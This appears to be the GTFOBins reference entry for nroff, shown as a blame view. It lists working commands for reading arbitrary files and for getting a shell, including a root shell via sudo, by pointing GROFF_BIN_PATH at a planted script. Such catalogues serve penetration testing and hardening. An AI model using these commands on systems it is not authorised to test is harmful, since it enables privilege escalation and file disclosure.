GTFOBins.github.io/_gtfobins/nroff.md

23 lines
535 B
Markdown
Raw Normal View History

2020-03-17 07:34:57 +01:00
---
functions:
2020-11-13 11:57:13 +01:00
file-read:
- description: The read file content is corrupted by arbitrary newlines.
code: |
LFILE=file_to_read
nroff $LFILE
2020-03-17 07:34:57 +01:00
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
GROFF_BIN_PATH=$TF nroff
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
sudo GROFF_BIN_PATH=$TF nroff
2020-03-17 07:34:57 +01:00
---